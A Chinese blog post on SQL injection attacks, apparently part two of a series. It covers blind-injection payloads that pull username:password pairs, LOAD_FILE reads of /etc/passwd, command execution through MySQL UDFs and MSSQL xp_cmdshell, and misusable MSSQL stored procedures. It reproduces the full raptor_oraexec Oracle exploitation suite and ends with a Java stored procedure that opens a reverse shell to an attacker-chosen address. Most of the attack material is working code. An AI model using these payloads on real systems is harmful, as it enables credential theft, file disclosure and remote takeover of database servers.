SQL注入之攻击篇
在上一篇博文《SQL注入之入门篇》 中讲解了SQL注入的基本原理,其本质问题是违反了安全设计的原则–“数据与代码分离”。在这篇博文中将向大家介绍有关于SQL注入攻击中的常用方式。
1. 库、表、字段名猜解
SQL注入可以猜解出数据库的版本信息,比如下面的Payload可以猜解MySQL数据库的相关版本信息:
https://www.s0nnet.com/info.php?id=1 and substring(@@version,1,1)=4
注:上面使用了一个获取数据库版本的查询“@@version”,下面是常见数据库中使用到的:
- MySQL:select version()、select @@version
- MSSQL:select @@version
- Oracle:select banner from v$version
- PostgreSQL:select version()
同理,可以利用union select来猜解表用中是否存在表users,是否存在列名pwd:
id=2 union all select 1,2,3 from users id=2 union all select 1,2,pwd from users
在进一步猜解出username、passwd之后,还是利用上面的方法,判断字符的范围,并最终穷举猜解来,具体实施如下:
id=3 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1)>64 /*ret true*/
id=3 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1)>80 /*ret true*/
id=3 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1)>84 /*ret false*/
2. 文件读写
通过SQL注入攻击以达到对系统文件的读写是SQL注入攻击的一大威力。比如在MySQL中,可以通过LOAD_FILE()函数读取系统文件,也可以通过INTO DUMPFILE写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。
id=2 union select 1,1 LOAD_FILE('/etc/passwd'),1,1;
当然,在某些情况下攻击者无法直接通过SQL返回读取到的本地系统文件,这是通常采用的一个方法就是现将要读取的本地文件都入到数据库,再从数据库中读取该内容并(通过WEB)返回给攻击者:
create table text(line BLOB); union select 1,1,hex(load_file('/etc/passwd')),1,1 into dumpfile '/tmp/text'; load data infile '/tmp/text' into table text;
当然,在此还需要当前数据库用户有创建数据表的权限。首先通过LOAD_FILE()将系统文件读出,再通过INTO DUMPFILE将该文件写入系统(一般在/tmp目录下有写权限),然后通过LOAD DATA INFILE将文件导入创建的表中,最后再通过WEB的方式注入读取这里面的内容。
注意到上面使用了一个hex()函数,这里表示读取的是一个二进制文件,所以使用INTO DUMPFILE输出(内容到一行上)。如果是文本文件,则使用INTO OUTFILE。
与之类似,在Oracle数据库中,可以使用Oracle Text方式。 Oracle Text是一种读取文件和URInate的技术,它无需java或者utl_file_dir/Oracle目录,只需要将想读的文件或者URL插入到一张表中并创建一个全文索引或者一直等待全文索引创建成功即可。该索引包含了整个文件的内容,下面将boot.ini插入到一张表中来读取该文件:
CREATE TABLE files (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); INSERT INTO files VALUES(1,'c:\\boot.ini',NULL); CREARTE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.contextPARAMETERS('datastore ctxsys.file_datastore format column ot_format'); SELECT token_text from dr$file_index$i;
当然,还可以通过创建存储过程,使用java的io类读取本地文件,相关代码如下:
create or replace and compile java source named javareadfile as import java.lang.*; import java.io.*; public class javareadfile { public static void readfile(String filename) throws IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine(); while(text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } } create or replace procedure jreadfile (filename in varchar) as language java name 'javareadfile.readfile(java.lang.String)'; exec jreadfile('/etc/passwd');
3. 系统命令执行
对于执行系统命令,各个数据库都不太一样,下面介绍一些主力数据库中常见的命令执行方式:
在MySQL中,除了采用上面常规的到出webshell到文件的方式执行系统命令外,还可以利用“用户自定义函数”的方式,即User-Defined Functions(UDF)来执行命令。通过lib_mysqludf_sys提供的函数可以执行系统命令:
- sys_eval(),执行任意命令,并将输出返回
- sys_exec(),执行任意命令,并将返回码返回
- sys_get(),获取一个环节变量
- sys_set(),创建或修改一个环境变量
在攻击的过程中,将lib_mysqludf_sys上传到数据库能够访问的路径下,创建UDF之后就可以使用sys_eval()执行系统命令了。在MySQLUDF官方网站或者Github上可以看到相关信息,Github链接:https://github.com/mysqludf/lib_mysqludf_sys 使用的方法直接运行install.sh脚本安装即可。安装好之后就可以在mysql终端下执行了:
select sys('whoami');
在MS SQL Server中,可以直接使用存储过程“xp_cmdshell”执行系统命令,可谓臭名昭著了,执行方式如下:
EXEC master.dbo.xp_cmdshell 'cmd.exe ipconfig'
xp_cmdshell在SQL Server2000中默认是开启的,但在SQL Server2005及以后的版本中默认被禁止了。当然,如果有sysadmin权限也是可以通过sp_configure重新开启它。
在Oracle中,由于服务器支持java环境,可以通过 java执行系统命令。下面是通过创建java的存储过程来执行系统命令:
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $ -- -- raptor_oraexec.sql - java exploitation suite for oracle -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- This is an exploitation suite for Oracle written in Java. Use it to -- read/write files and execute OS commands with the privileges of the -- RDBMS, if you have the required permissions (DBA role and SYS:java). -- -- "The Oracle RDBMS could almost be considered as a shell like bash or the -- Windows Command Prompt; it's not only capable of storing data but can also -- be used to completely access the file system and run operating system -- commands" -- David Litchfield (http://www.databasesecurity.com/) -- -- Usage example: -- $ sqlplus "/ as sysdba" -- [...] -- SQL> @raptor_oraexec.sql -- [...] -- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa'); -- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb'); -- SQL> exec dbms_java.set_output(2000); -- SQL> set serveroutput on; -- SQL> exec javareadfile('/tmp/mytest'); -- /bin/ls -l > /tmp/aaa -- /bin/ls -l / >/tmp/bbb -- SQL> exec javacmd('/bin/sh /tmp/mytest'); -- SQL> !sh -- $ ls -rtl /tmp/ -- [...] -- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest -- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa -- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb -- [...] -- create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { /* * Command execution module */ public static void execCommand(String command) throws IOException { Runtime.getRuntime().exec(command); } /* * File reading module */ public static void readFile(String filename) throws IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine(); while (text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } /* * File writing module */ public static void writeFile(String filename, String line) throws IOException { FileWriter f = new FileWriter(filename, true); /* append */ BufferedWriter fw = new BufferedWriter(f); fw.write(line); fw.write("\n"); fw.close(); } } / -- usage: exec javacmd('command'); create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; / -- usage: exec dbms_java.set_output(2000); -- set serveroutput on; -- exec javareadfile('/path/to/file'); create or replace procedure javareadfile(p_filename in varchar2) as language java name 'oraexec.readFile(java.lang.String)'; / -- usage: exec javawritefile('/path/to/file', 'line to append'); create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as language java name 'oraexec.writeFile(java.lang.String, java.lang.String)'; / -- milw0rm.com [2006-11-23]
关于在Oracle、MS SQL Server中利用存储过程的攻击有很多方式,下面做一个详细的介绍。
4. 存储过程攻击
对于MS SQL Server中一些可以利用于攻击的内置存储过程:
1. xp_servicecontrol,允许用户启动、停止服务:
exec master..xp_servicecontrol 'start','schedule_process'
2. xp_availablemedia, 显示主机上的可用驱动器
3. xp_dirtree,获取一个目录树
4. xp_enumdsn,列举主机上的ODBC数据源
5. xp_loginconfig,获取主机安全信息
6. xp_makecab,创建一个压缩文件
7. xp_ntsec_enumdomains,列举主机可访问的域
8. xp_terminate_process,终止一个进程
9.xp_regread,注册表相关操作,它包含一个操作集合:xp_regaddmultistring、xp_regdeletekey等等,相关使用:
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanservers','regname' exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\foo\run.exe
在Oracle创建存储过程详见上面给出的两个脚本POC,相关文档可以参考:http://www.0xdeadbeef.info 可以扩展的思路是,通过java可以实现很多攻击,比喻使用java.net类创建socket反弹shell,以达到进一步渗透。下面是通过java创建socket:
create or replace and compile java source named javasocket as import java.net.*; import java.io.*; import java.lang.*; public class javasocket { public static void test(String addr,String str_port) { Socket socket; String len; String s; InputStream Is; OutputStream Os; DataInputStream DIS; PrintStream PS; try{ socket=new Socket(addr,Integer.parseInt(str_port)); Is=socket.getInputStream(); Os=socket.getOutputStream(); DIS=new DataInputStream(Is); PS=new PrintStream(Os); while(true){ s=DIS.readLine(); if(s.trim().equals("BYE"))break; try{ Runtime rt = Runtime.getRuntime(); Process p = null; p = rt.exec(s); s = null; BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String msg = null; while((msg = br.readLine())!=null){ msg += "\n"; s += msg; } br.close(); } catch(Exception e) { s = "Please check your command!"; } PS.println(s); } DIS.close(); PS.close(); Is.close(); Os.close(); socket.close(); } catch(Exception e) { System.out.println("Error:"+e); } } } create or replace procedure myjavasocket(address in varchar,port in varchar) as language java name 'javasocket.test(java.lang.String,java.lang.String)';